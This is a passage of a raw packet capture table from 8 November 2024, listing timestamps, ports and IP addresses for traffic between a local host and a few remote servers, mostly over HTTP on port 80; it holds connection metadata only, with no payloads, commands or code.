Nov 8, 2024 15:21:22.713054895 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.713134050 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.713145971 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.713154078 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.713154078 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.713165045 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.713198900 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.713198900 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.713237047 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.713267088 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.713280916 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.713294983 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.713294983 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.713397980 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.713459969 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.713471889 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.713483095 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.713532925 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.713534117 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.713565111 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.713577032 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.713594913 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.713608027 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.713644981 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.713644981 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.713716984 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.714674950 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.714693069 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.714705944 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.714719057 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.714730978 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.714741945 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.714754105 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.714764118 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.714764118 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.714857101 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.715264082 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.715323925 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.715333939 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.715390921 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.715390921 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.715405941 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.715416908 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.715471983 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.715965033 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.716274023 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.753274918 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.753293037 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.753304958 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.753338099 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.753353119 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.753365040 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.753375053 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.753377914 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.753387928 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.753406048 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.753597021 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.753608942 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.753626108 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.753627062 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.753640890 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.753686905 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.753686905 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.753788948 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.753801107 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.753818989 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.753881931 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.754080057 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.794440985 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.794461012 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.794473886 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.794548035 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.794548035 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.794646978 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.794660091 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.794806004 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.867048025 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.867078066 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.867088079 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.867156029 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.867156029 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.868510008 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.868571043 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.868627071 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.868701935 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.868897915 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.868937016 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.868940115 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.868967056 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.869081974 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.869112015 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.869112015 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.869117975 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.869164944 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.869195938 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.869285107 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.869338036 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.869348049 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.869371891 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.869402885 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.869412899 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.869446993 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.869513988 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.869524002 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.869539976 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.869623899 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.869643927 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.869654894 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.869685888 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.869695902 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.869766951 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.869779110 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.869788885 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.869821072 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.869831085 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.869841099 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.869842052 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.869842052 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.869853020 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.869887114 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.869896889 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.869896889 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.871058941 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.871099949 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.871131897 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.871153116 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.871187925 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.871189117 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.871198893 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.871344090 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.871350050 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.871445894 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.871476889 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.871597052 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.907542944 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.907571077 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.907581091 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.907593012 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.907627106 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.907677889 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.907677889 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.907691956 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.907756090 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.907787085 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.907799959 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.907807112 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.907955885 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.907968044 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.907984972 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.908107996 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.908119917 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.908132076 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.908143997 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.908149958 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.908149958 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.908173084 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.908224106 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.948579073 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.948622942 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.948635101 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.948653936 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.948668003 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:22.948781013 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.948781013 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:22.965131044 CET	443	49836	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:22.965487003 CET	49836	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:22.965511084 CET	443	49836	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:22.965871096 CET	443	49836	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:22.966319084 CET	49836	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:22.966351986 CET	49836	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:22.966356039 CET	443	49836	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:22.966378927 CET	443	49836	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:22.974036932 CET	443	49779	162.159.61.3	192.168.2.8
Nov 8, 2024 15:21:22.974101067 CET	443	49779	162.159.61.3	192.168.2.8
Nov 8, 2024 15:21:22.974479914 CET	49779	443	192.168.2.8	162.159.61.3
Nov 8, 2024 15:21:23.018661022 CET	49836	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:23.021609068 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.021626949 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.021774054 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.021781921 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.021866083 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.022968054 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.022999048 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.023025036 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.023139000 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.023148060 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.023153067 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.023205042 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.023205042 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.023766994 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.023801088 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.023811102 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.023823977 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.023864031 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.023879051 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.023891926 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.023983002 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.024003029 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.024069071 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.024138927 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.024144888 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.024152040 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.024267912 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.024281979 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.024292946 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.024303913 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.024342060 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.024342060 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.024429083 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.024441004 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.024452925 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.024461985 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.024514914 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.024514914 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.024549961 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.024640083 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.026060104 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.026094913 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.026106119 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.026125908 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.026176929 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.026201963 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.026217937 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.026274920 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.026274920 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.062438011 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.062463045 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.062474966 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.062501907 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.062525034 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.062539101 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.062549114 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.062594891 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.062594891 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.062680960 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.062693119 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.062705040 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.062733889 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.062757015 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.062792063 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.062822104 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.062839985 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.062874079 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.062886000 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.062897921 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.062958002 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.062958002 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.063060999 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.063074112 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.063085079 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.063106060 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.063163996 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.091845036 CET	443	49836	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:23.091871977 CET	443	49836	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:23.091936111 CET	49836	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:23.091955900 CET	443	49836	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:23.093935966 CET	49836	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:23.095685959 CET	49836	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:23.095714092 CET	443	49836	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:23.103573084 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.103619099 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.103634119 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.103641987 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.103686094 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.103744984 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.103756905 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.103854895 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.178186893 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.178215981 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.178229094 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.178251982 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.178272963 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.178348064 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.178360939 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.178373098 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.178384066 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.178384066 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.178415060 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.178992987 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.179056883 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.179065943 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.179078102 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.179101944 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.179124117 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.179152012 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.179212093 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.179281950 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.179294109 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.179305077 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.179325104 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.179330111 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.179348946 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.179375887 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.179511070 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.179524899 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.179537058 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.179547071 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.179549932 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.179562092 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.179599047 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.180012941 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.180059910 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.180362940 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.180418015 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.180552959 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.180597067 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.180628061 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.180711031 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.180713892 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.180751085 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.180841923 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.180887938 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.180906057 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.180941105 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.180963993 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.180974960 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.181010008 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.217058897 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.217087030 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.217102051 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.217120886 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.217149019 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.217210054 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.217223883 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.217237949 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.217252016 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.217264891 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.217284918 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.217406034 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.217449903 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.217936993 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.217992067 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.218000889 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.218014002 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.218039989 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.218055010 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:23.218120098 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.218132973 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.218143940 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:23.218168020 CET	49753	80	192.168.2.8	185.215.113.206
